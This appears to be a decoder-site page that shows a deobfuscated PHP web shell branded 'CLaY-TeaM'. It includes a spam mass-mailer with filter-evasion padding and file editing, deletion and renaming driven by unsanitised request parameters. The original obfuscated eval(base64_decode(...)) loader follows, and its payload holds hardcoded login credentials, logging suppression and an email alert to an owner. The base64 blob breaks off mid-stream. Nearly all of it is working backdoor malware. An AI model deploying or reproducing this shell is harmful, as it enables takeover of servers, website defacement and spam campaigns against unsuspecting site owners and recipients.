<input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
</td>
</tr>
<tr>
<td class="title">
No. of Times
</td>
<td>
<input class="cmd" name="times" value="100" onfocus="if(this.value == \'100\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'100\';"/>
</td>
</tr>
<tr>
<td>
Pad your message (Less spam detection)
</td>
<td>
<input type="checkbox" name="padding"/>
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="173" rows="10" class="cmd">Madleet-Shell Rocks!!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
//Mass Mailer
else if(isset($_GET[\'mail\']))
{
if(
isset($_GET[\'to\']) &&
isset($_GET[\'from\']) &&
isset($_GET[\'subject\']) &&
isset($_GET[\'message\'])
)
{
if(mail($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'message\'],"From:".$_GET[\'from\']))
{
echo "<p class=\'alert\'>Mail Sent!</p>";
}
else
{
echo "<p class=\'alert\'>Some Error Occured!</p>";
}
}
else
{
?>
<form method="GET">
<input type="hidden" name="mail" />
<table id="margins">
<tr>
<td width="100" class="title">
From
</td>
<td>
<input class="cmd" name="from" value="[email protected]" onfocus="if(this.value == \'[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected]\';"/>
</td>
</tr>
<tr>
<td class="title">
To
</td>
<td>
<input class="cmd" name="to" value="[email protected],[email protected]" onfocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/>
</td>
</tr>
<tr>
<td class="title">
Subject
</td>
<td>
<input type="text" class="cmd" name="subject" value="Just testing my Fucking Skillz!" onfocus="if(this.value == \'Just testing my Fucking Skillz!\')this.value = \'\';" onblur="if(this.value==\'\')this.value=\'Just testing my Fucking Skillz!\';" />
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="173" rows="10" class="cmd">All i remember are those lonely nights when i was defacing those insecure websites!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="own" value="Send! :D"/>
</td>
</tr>
</table>
</form>
<?php
}
}
// Edit File
else if(isset($_POST[\'file\']) &&
isset($_POST[\'content\']) )
{
if(is_dir($_POST[\'file\']))
{
header("location:".$self."?dir=".$_POST[\'file\']);
}
if(file_exists($_POST[\'file\']))
{
$handle = fopen($_POST[\'file\'],"w");
fwrite($handle,$_POST[\'content\']);
echo "Your changes were Successfully Saved!";
}
else
{
echo "<p class=\'alert\'>File Name Specified does not exists!</p>";
}
}
// PHP decoder
else if(isset($_GET[\'decode\']))
{
$content = "";
if(isset($_POST[\'content\']))
{
$content = htmlspecialchars(gzinflate(base64_decode($_POST[\'content\'])));
}
?>
<form method="POST">
<textarea name="content" rows="20" cols="100" class="cmd"><?php echo $content;?></textarea><br />
<input name="save" type="Submit" value="Decode" class="own" id="spacing"/>
</form>
<?php
}
//open file
else if(isset($_GET[\'open\']))
{
?>
<form method="POST" action="<?php echo $self;?>" >
<table>
<tr>
<td>File </td><td> : </td><td><input value="<?php echo $_GET[\'open\'];?>" class="cmd" name="file" /></td>
</tr>
<tr>
<td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET[\'open\']);?>" class="cmd" /></td>
</tr>
</table>
<textarea name="content" rows="20" cols="100" class="cmd"><?php
$content = htmlspecialchars(file_get_contents($_GET[\'open\']));
if($content)
{
echo $content;
}
else if(function_exists(\'fgets\') && function_exists(\'fopen\') && function_exists(\'feof\'))
{
fopen($_GET[\'open\']);
while(!feof())
{
echo htmlspecialchars(fgets($_GET[\'open\']));
}
}
?>
</textarea><br />
<input name="save" type="Submit" value="Save Changes" class="own" id="spacing"/>
</form>
<?php
}
//Rename
else if(isset($_GET[\'rename\']))
{
if(isset($_GET[\'to\']) && isset($_GET[\'rename\']))
{
if(rename($_GET[\'rename\'],$_GET[\'to\']) == FALSE)
{
?>
<big><p class="blink">Cant rename the file specified! Please check the file-name , Permissions and try again!</p></big>
<?php
}
else
{
?>
<big><p class="blink">File Renamed , Return <a href="<?php echo $self;?>">Here</a></p></big>
<?php
}
}
else
{
?>
<form method="GET" action="<?php echo $self;?>" >
<table>
<tr>
<td>File </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="rename" /></td>
</tr>
<tr>
<td>To </td><td> : </td><td><input value="<?php echo $_GET[\'rename\'];?>" class="cmd" name="to" /></td>
</tr>
</table>
<input type="Submit" value="Rename :D" class="own" style="margin-left: 160px;padding: 5px;"/>
</form>
<?php
}
}
// No request made
// Display home page
else
{
$dir = getcwd();
if(isset($_GET[\'dir\']))
{
$dir = $_GET[\'dir\'];
}
?>
<table id="margins">
<tr>
<form method="GET" action="<?php echo $self;?>">
<td width="100">PWD</td><td width="410"><input name="dir" class="cmd" id="mainInput" value="<?php echo $dir;?>"/></td>
<td><input type="submit" value="G0!!" class="own" /></td>
</form>
</tr>
</table>
<table id="margins" class="files">
<tr>
<th class="header" width="500px">Name</th>
<th width="100px" class="header">Size</th>
<th width="100px" class="header">Permissions</th>
<th width="100px" class="header">Delete</th>
<th width="100px" class="header">Rename</th>
</tr>
<?php
if(isset($_GET[\'delete\']))
{
if(unlink(($_GET[\'delete\'])) == FALSE)
{
echo "<p id=\'margins\' style=\'color:red;\'>Could Not Delete the file Specified!</p>";
}
}
if(is_dir($dir))
{
$handle = opendir($dir);
if($handle != FALSE)
{
if($dir[(strlen($dir)-1)] != $SEPARATOR){$dir = $dir.$SEPARATOR;}
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..")
{
//echo $file;
//f its a directory
if(is_dir($dir.$file))
{
?>
<tr>
<td class=\'dir\'><a href=\'<?php echo $self ?>?dir=<?php echo $dir.$file ?>\'>/<?php echo $file ?></a></td>
<td class=\'info\'>DIR</td>
<td class=\'info\'>DIR</td>
<td></td>
<font color="white"><td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td>
</tr>
<?php
}
//Its a file
else
{
?>
<tr>
<td class=\'file\'><a href=\'<?php echo $self ?>?open=<?php echo $dir.$file ?>\'><?php echo $file ?></a></td>
<td class=\'info\'><?php echo HumanReadableFilesize(filesize($dir.$file));?></td>
<td class=\'info\'><?php echo getFilePermissions($dir.$file);?></td>
<td class="info"><a href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>">Delete</a></td>
<td class="info"><a href="<?php echo $self;?>?rename=<?php echo $dir.$file;?>">Rename</a></td>
</tr> </font>
<?php
}
}
}
closedir($handle);
}
}
else
{
echo "<p class=\'alert\' id=\'margins\'>".$_GET[\'dir\']." is <b>NOT</b> a Valid Directory!<br /></p>";
}
?>
</table>
<?php
}
//------------------------------------------------------------------------------------------------
?>
<?php
}
// End Shell
//-------------------------------------------------------------------------------------------------
?>
<br /><br /><br /><br />
<div class="end">
<p align="center"><font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px">Coded By WhoAmi @ <font face="Iceland" style="color:#00FFFF;text-shadow:0px 1px 5px #000;font-size:30px"><a href="" target="_blank" style="color: #00FFFF">[ Click Here ]</font><br>
</font>
<br><br>
<font face="Iceland" style="color:red;text-shadow:0px 1px 5px #000;font-size:30px"><span></span>[email protected]<script data-cfhash=\'f9e31\' type="text/javascript">
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("data-cfhash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}t.parentNode.removeChild(t);}}catch(u){}}()/* ]]> */</script></font><br><br>
<br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="http://clayteam.zubihosting.com/" target="_blank" style="color: lime">CLaY - TeaM </font><br>
<font face="Iceland" style="color:lime;text-shadow:0px 1px 5px #000;font-size:30px"><a href="https://www.facebook.com/clayteamwhoami" target="_blank" style="color: lime">Official Page</font><br>
</script>
</p>
</div>
</body>
</html>'
Did this file decode correctly?
Original Code
<?php
eval("?>".base64_decode("PD9waHAgDQoNCiR1c2VyID0gIkNMQVlURUFNIjsgDQokcGFzcyA9ICJ4aGFjazNyeCI7IA0KDQplcnJvcl9yZXBvcnRpbmcoMCk7IA0KaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgDQoNCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBTb21lIGhlYWRlciBGdW5jdGlvbnMgKE5lZWQgdG8gYmUgb24gdG9wKSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cIA0KDQovKioqKioqKioqKioqKioqKiBEZWZpbmVzICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gDQoNCiRsb2NrID0gIm9uIjsgLy8gc2V0IHRoaXMgdG8gb2ZmIGlmIHlvdSBkb250IG5lZWQgdGhlIGxvZ2luIHBhZ2UgDQokdHJhY2ViYWNrRmVhdHVyZSA9ICJvbiI7IC8vIHNldCB0aGlzIGZlYXR1cmUgdG8gZW5hYmxlIGVtYWlsIGFsZXJ0cyANCiRvd25lckVtYWlsID0gIlNweW5lVC5PZmZpY2llbGxAZ21haWwuY29tIjsgLy8gQ2hhbmdlIHRoaXMgdG8geW91ciBlbWFpbCAsIFRoaXMgZW1haWwgaXMgdXNlZCB0byBkZWxpdmVyIHRyYWNlYmFja3MgYWJvdXQgeW91ciBzaGVsbCANCiR1cmwgPSAoIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgPyAiaHR0cHM6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddIDogImh0dHA6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyANCiRwaHBWZXJzaW9uPXBocHZlcnNpb24oKTsgDQokc2VsZj0kX1NFUlZFUlsiUEhQX1NFTEYiXTsgLy8gV2hlcmUgYW0gaSANCiRzbSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsgDQokU0VQQVJBVE9SID0gJy8nOyAvLyBEZWZhdWx0IERpcmVjdG9yeSBzZXBhcmF0b3IgDQokb3MgPSAiTi9EIjsgDQppZihzdHJpc3RyKHBocF91bmFtZSgpLCJXaW5kb3dzIikpIA0KeyANCiAgICAgICAgJFNFUEFSQVRPUiA9ICdcXCc7IA0KICAgICAgICAkb3MgPSAiV2luZG93cyI7IA0KfSANCmVsc2UgaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiTGludXgiKSkgDQp7IA0KICAgICAgICAkb3MgPSAiTGludXgiOyANCn0gDQoNCg0KLy8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLyANCg0KLy8gLS0tLS0tLS0tLS0tLS0gVHJhY2ViYWNrIEZ1bmN0aW9ucyANCg0KZnVuY3Rpb24gc2VuZExvZ2luQWxlcnQoKSANCnsgDQogICAgZ2xvYmFsICRvd25lckVtYWlsOyANCiAgICBnbG9iYWwgJHVybDsgDQogICAgJGFjY2VzZWRJcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyANCiAgICAkcmFuZG9tSW50ID0gcmFuZCgwLDEwMDAwMDApOyAgICAgICAgICAgIyB0byBhdm9pZCBpZCBibG9ja2luZyANCiAgICAkZnJvbSA9ICJDTEFZLVNoM0xMJHJhbmRvbUludEBmYmkuZ292IjsgIA0KICAgICANCiAgICAvL2VjaG8gJGZyb207IA0KICAgICANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkgDQogICAgeyANCiAgICAgICAgJHN1YmplY3QgPSAiU2hlbGwgQWNjZXNzZWQgLS0gQ0xBWS1TaDNMTCAtLSI7IA0KICAgICAgICAkbWVzc2FnZSA9ICIgDQpIZXkgT3duZXIgLCANCiAgICAgICAgIA0KICAgICAgICBZb3VyIFNoZWxsKE1hZGxlZXQtU2hlbGwpIGxvY2F0ZWQgYXQgJHVybCB3YXMgYWNjZXNzZWQgYnkgJGFjY2VzZWRJcCANCiAgICAgICAgIA0KICAgICAgICBJZiBpdHMgbm90IHlvdSA6LSANCiAgICAgICAgIA0KICAgICAgICAxLiBQbGVhc2UgY2hlY2sgaWYgdGhlIHNoZWxsIGlzIHNlY3VyZWQuIA0KICAgICAgICAyLiBDaGFuZ2UgeW91ciB1c2VyIG5hbWUgYW5kIFBhc3N3b3JkLiANCiAgICAgICAgMy4gQ2hlY2sgaWYgbG9jayBpcyAwbiEgDQogICAgICAgIGFuZCBLaWNrIHRoYXQgKioqKioqIG91dCEgDQogICAgICAgICANCiAgICAgICAgVGhhbmtpbmcgWW91IA0KICAgICAgICAgDQpZb3VycyBGYWl0aGZ1bGx5IA0KQ0xBWS1TaDNMTA0KICAgICAgICAiOyANCiAgICAgICAgbWFpbCgkb3duZXJFbWFpbCwkc3ViamVjdCwkbWVzc2FnZSwnRnJvbTonLiRmcm9tKTsgDQogICAgfSANCn0gDQoNCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KDQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc2Vzc2lvbl9zdGFydCcpICYmICRsb2NrID09ICdvbicpIA0KeyANCiAgICBzZXNzaW9uX3N0YXJ0KCk7IA0KfSANCmVsc2UgDQp7IA0KICAgIC8vIFRoZSBsb2NrIHdpbGwgYmUgc2V0IHRvICdvZmYnIGlmIHRoZSBzZXNzaW9uX3N0YXJ0IGZ1Y3Rpb24gaXMgZGlzYWJsZWQgaS5lIGlmIHNlc3Npb25zIGFyZSBub3Qgc3VwcG9ydGVkICANCiAgICAkbG9jayA9ICdvZmYnOyANCn0gDQoNCi8vbG9nb3V0IA0KDQppZihpc3NldCgkX0dFVFsnbG9nb3V0J10pICYmICRsb2NrID09ICdvbicpIA0KeyANCiAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDA7IA0KICAgIHNlc3Npb25fZGVzdHJveSgpOyANCiAgICBoZWFkZXIoImxvY2F0aW9uOiAiLiRfU0VSVkVSWydQSFBfU0VMRiddKTsgDQp9IA0KDQppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyANCg0KDQoNCi8qKioqKioqKioqKioqKioqKiBSZXN0b3JpbmcgKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gDQoNCg0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9pbmNsdWRlX2RpciIpOyANCmluaV9yZXN0b3JlKCJzYWZlX21vZGVfZXhlY19kaXIiKTsgDQppbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsgDQppbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVuIik7IA0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOyANCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgDQoNCmlmKGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKSANCnsgDQogICAgaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsgIC8vIE5vIGFsYXJtaW5nIGxvZ3MgDQogICAgaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7ICAgIC8vIE5vIGxvZ2dpbmcgb2YgZXJyb3JzIA0KICAgIGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7ICAvLyBFbmFibGUgZmlsZSB1cGxvYWRzIA0KICAgIGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7ICAgLy8gYWxsb3cgdXJsIGZvcGVuICANCn0gDQoNCmVsc2UgDQp7IA0KICAgIGluaV9hbHRlcignZXJyb3JfbG9nJyxOVUxMKTsgDQogICAgaW5pX2FsdGVyKCdsb2dfZXJyb3JzJywwKTsgDQogICAgaW5pX2FsdGVyKCdmaWxlX3VwbG9hZHMnLDEpOyANCiAgICBpbmlfYWx0ZXIoJ2FsbG93X3VybF9mb3BlbicsMSk7IA0KfSANCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSANCg0KDQo/PiANCjxodG1sPiANCjxoZWFkPiANCjx0aXRsZT4iQ0xBWS1TaDNMTCIgfCBXaG9BbWkgfCBUdW5pc2lhPC90aXRsZT4gDQoNCg0KPHN0eWxlPiANCg0KLyogDQo9PT09PT09PT09PT09PT09PT09PT09PT09PSAgICAgDQogICAgQ1NTIFNlY3Rpb24gDQo9PT09PT09PT09PT09PT09PT09PT09PT09PSANCiovIA0KDQoqeyANCiAgICBwYWRkaW5nOjA7IA0KICAgIG1hcmdpbjowOyANCn0gDQoNCi5hbGVydCANCnsgDQogICAgYmFja2dyb3VuZDpyZWQ7IA0KICAgIGNvbG9yOndoaXRlOyANCiAgICBmb250LXdlaWdodDpib2xkOyANCn0gDQp0ZC5pbmZvIA0KeyANCiAgICB3aWR0aDowcHg7IA0KfSANCg0KLmJpbmQgIA0KeyANCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyANCiAgICBtYXJnaW46IDE1cHggYXV0byAwOyANCiAgICBmb250LXNpemU6IHNtYWxsOyANCn0gDQoNCmRpdi5lbmQgKiANCnsgDQogICAgZm9udC1zaXplOnNtYWxsOyANCn0gDQoNCmRpdi5lbmQgIA0KeyANCiAgICB3aWR0aDoxMDAlOyANCiAgICBiYWNrZ3JvdW5kOiMyMjI7IA0KfSANCg0KcC5ibGluayANCnsgDQogICAgdGV4dC1kZWNvcmF0aW9uOiBibGluazsgDQp9IA0KDQpib2R5ICANCnsgDQogICAgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgDQogICAgY29sb3I6cmdiKDM1LDE4MiwzOSk7IA0KICAgIGZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOyANCiAgICBmb250LXNpemU6IHNtYWxsOyANCn0gDQoNCmlucHV0Lm93biB7IA0KICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDQ4NDg7IA0KICAgIGNvbG9yOiB3aGl0ZTsgDQogICAgYm9yZGVyIDogMXB4IHNvbGlkICNGRjAwMDA7IA0KfSANCg0KYmxvY2txdW90ZS5zbWFsbCANCnsgDQogICAgZm9udC1zaXplOiBzbWFsbGVyOyANCiAgICBjb2xvcjogc2lsdmVyOyANCiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7IA0KfSANCg0KdGFibGUuZmlsZXMgDQp7IA0KICAgIGJvcmRlci1zcGFjaW5nOiAxMHB4OyANCiAgICBmb250LXNpemU6IHNtYWxsOyANCn0gDQoNCmgxIHsgDQogICAgcGFkZGluZzogNHB4OyANCiAgICBwYWRkaW5nLWJvdHRvbTogMHB4OyANCiAgICBtYXJnaW4tcmlnaHQgOiA1cHg7IA0KfSANCmRpdi5sb2dvIA0KeyANCiAgICBib3JkZXItcmlnaHQ6IDFweCAjMTlkMGQwOyANCn0gDQpkaXYuaGVhZGVyIA0KeyANCiAgICBwYWRkaW5nLWxlZnQ6IDVweDsgDQogICAgZm9udC1zaXplOiBzbWFsbDsgDQogICAgdGV4dC1hbGlnbjogbGVmdDsgDQp9IA0KZGl2Lm5hdiANCnsgDQogICAgbWFyZ2luLXRvcDoxcHg7IA0KICAgIGhlaWdodDozMHB4OyANCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkYwMDAwOyANCn0gDQpkaXYubmF2IHVsIA0KeyANCiAgICBsaXN0LXN0eWxlOiBub25lOyANCiAgICBwYWRkaW5nOiA0cHg7IA0KfSANCmRpdi5uYXYgbGkgDQp7IA0KICAgIGZsb2F0OiBsZWZ0OyANCiAgICBtYXJnaW4tcmlnaHQ6IDEwcHg7IA0KICAgIHRleHQtYWxpZ246Y2VudGVyOyANCn0gDQp0ZXh0YXJlYS5jbWQgDQp7IA0KICAgIGJvcmRlciA6IDFweCBzb2xpZCAjMTExOyANCiAgICBiYWNrZ3JvdW5kLWNvbG9yIDogIzAwNDg0ODsgDQogICAgZm9udC1mYW1pbHk6IFNoZWxsOyANCiAgICBjb2xvciA6IHdoaXRlOyANCiAgICBtYXJnaW4tdG9wOiAxMHB4OyANCiAgICBmb250LXNpemU6c21hbGw7IA0KfSANCg0KaW5wdXQuY21kIA0KeyANCiAgICBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyANCiAgICBjb2xvcjogd2hpdGU7IA0KICAgIHdpZHRoOiA0MDBweDsgDQogICAgYm9yZGVyIDogMXB4IHNvbGlkICNGRjAwMDA7IA0KDQp9IA0KdGQubWFpbnRleHQgDQp7IA0KICAgIGZvbnQtc2l6ZTogbGFyZ2U7IA0KfSANCiNtYXJnaW5zIA0KeyANCiAgICBtYXJnaW4tbGVmdDogMTBweDsgDQogICAgbWFyZ2luLXRvcDogMTBweDsgDQogICAgY29sb3I6d2hpdGU7IA0KfSANCnRhYmxlLnRvcCANCnsgDQogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IA0KICAgIHdpZHRoOiAxMDAlOyANCn0gDQojYm9yZGVycyANCnsgDQogICAgYm9yZGVyLXRvcCA6IDFweCAjMTZmNjAxOyANCiAgICBib3JkZXItbGVmdDoxcHggIzE2ZjYwMTsgDQogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IA0KICAgIGJvcmRlci1yaWdodDogMXB4ICMxNmY2MDE7IA0KICAgIG1hcmdpbi1ib3R0b206MDsgDQp9IA0KdGQuZmlsZSBhICwgLmZpbGUgYSANCnsgDQogICAgY29sb3IgOiBhcXVhOyANCiAgICB0ZXh0LWRlY29yYXRpb246bm9uZTsgDQp9IA0KYS5kaXIgDQp7IA0KICAgIGNvbG9yOndoaXRlOyANCiAgICBmb250LXdlaWdodDpib2xkOyANCiAgICB0ZXh0LWRlY29yYXRpb246bm9uZTsgDQp9IA0KdGQuZGlyIGEgDQp7IA0KICAgIGNvbG9yIDogd2hpdGU7IA0KICAgIHRleHQtZGVjb3JhdGlvbjpub25lOyANCn0gDQp0ZC5kb3dubG9hZCx0ZC5kb3dubG9hZDIgDQp7IA0KICAgIGNvbG9yOiMwMDQ4NDg7IA0KfSANCiNzcGFjaW5nIA0KeyANCiAgICBwYWRkaW5nOjEwcHg7IA0KICAgIG1hcmdpbi1sZWZ0OjIwMHB4OyANCn0gDQp0aC5oZWFkZXIgDQp7IA0KICAgIGJhY2tncm91bmQ6IG5vbmUgcmVwZWF0IHNjcm9sbCAwIDAgIzE5MTkxOTsgDQogICAgY29sb3I6IHdoaXRlOyANCiAgICBib3JkZXItYm90dG9tIDogMXB4IHNvbGlkICMzMzMzMzM7IA0KfSANCnAud2FybmluZyANCnsgDQogICAgYmFja2dyb3VuZCA6IHJlZDsgDQogICAgY29sb3I6IHdoaXRlOyANCn0gDQoNCi8qIA0KDQotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLUNTUyBFTkQtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQoNCiovIA0KPC9zdHlsZT4gDQo8L2hlYWQ+IA0KDQo8Ym9keSB0ZXh0PSJyZ2IoMzksMjQ1LDEwKSIgYmdjb2xvcj0iYmxhY2siPiANCjw/cGhwIA0KDQppZihpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmICRsb2NrID09ICdvbicpIA0KeyANCiAgICBpZiggJF9QT1NUWyd1c2VyJ10gPT0gJHVzZXIgJiYgDQogICAgICAgICAkX1BPU1RbJ3Bhc3MnXSA9PSAkcGFzcyApIA0KICAgIHsgDQogICAgICAgICAgICAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSA9IDE7IA0KICAgICAgICAgICAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFRyYWNlYmFja3MgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQogICAgICAgICAgICBpZigkdHJhY2ViYWNrRmVhdHVyZSA9PSAnT24nKSANCiAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgc2VuZExvZ2luQWxlcnQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KICAgIH0gDQp9IA0KDQppZigkbG9jayA9PSAnb2ZmJykgDQp7Pz4gDQogICAgPHAgY2xhc3M9Indhcm5pbmciPjxiPkxvY2sgaXMgU3dpdGNoZWQgT2ZmISAsIFRoZSBzaGVsbCBjYW4gYmUgYWNjZXNzZWQgYnkgYW55b25lITwvYj48L3A+IA0KPD9waHAgDQp9IA0KDQppZigkbG9jayA9PSAnb24nICYmICghaXNzZXQoJF9TRVNTSU9OWydhdXRoZW50aWNhdGVkJ10pIHx8ICRfU0VTU0lPTlsnYXV0aGVudGljYXRlZCddIT0xKSApIA0KeyANCg0KPz4gDQo8dGFibGU+IA0KICAgIDx0Ym9keT4gDQogICAgICAgIDx0cj4gDQogICAgICAgICAgICAgDQogICAgICAgIDxwcmU+IA0KPGNlbnRlcj48Zm9udCBjb2xvcj0iT3JhbmdlIj4gDQo8Yj48dGl0bGU+WyFdIENMYVlUZWFNIC0gU2hlTEw8L3RpdGxlPg0KPGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+DQo8c3R5bGU+Ym9keXtjdXJzb3I6dXJsKCIuLi93d3cubWFkbGVldHMuY29tL2VsaGFja2VyLmN1ciIpLGF1dG87fWh0bWx7ZGlzcGxheTp0YWJsZTtoZWlnaHQ6MTAwJTt3aWR0aDoxMDAlO31ib2R5e2Rpc3BsYXk6dGFibGUtcm93O31ib2R5e2Rpc3BsYXk6dGFibGUtY2VsbDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7dGV4dC1hbGlnbjpjZW50ZXI7fWE6bGlua3t0ZXh0LWRlY29yYXRpb246bm9uZTt9PC9zdHlsZT4NCjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly9pLmltZ3VyLmNvbS82a0JkNWc0LnBuZyIgYWx0PSJsb2dvIj4NCjxicj48YnI+PGJyPg0KPGJvZHkgYmdjb2xvcj0nYmxhY2snPg0KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOnJlZDt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTo2MHB4Ij5bIV0gT2ZmaWNpYWwgQ0xhWVRlYU0gU2hlTEw8L2ZvbnQ+DQo8L2NlbnRlcj4NCjxicj4NCjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjwvZm9udD4gPC9jZW50ZXI+DQo8L2I+IA0KPC9wcmU+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwhLS0gPGgxPjw/cGhwIC8vIGVjaG8gJGdyZWV0aW5nOz8+PC9oMT4gIA0KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJMb2dvXzAzLnBuZyIgY2xhc3M9ImltYWdlRm9ybSIgLz4gLS0+IA0KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+Ij4gDQogICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJVc2VybmFtZSIvPiA8aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIHZhbHVlPSJQYXNzd29yZCIvPiA8aW5wdXQgY2xhc3M9Im93biIgdHlwZT0iU3VibWl0IiB2YWx1ZT0iT3duIFRoaXMgQm94ISIvPiANCiAgICAgICAgICAgICAgICA8L2Zvcm0+IA0KICAgICAgICAgICAgPC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGJvZHk+IA0KPC90YWJsZT4gDQo8P3BocCANCn0gDQovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gV2UgYXJlIGF1dGhlbnRpY2F0ZWQgbm93LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSANCi8vTGF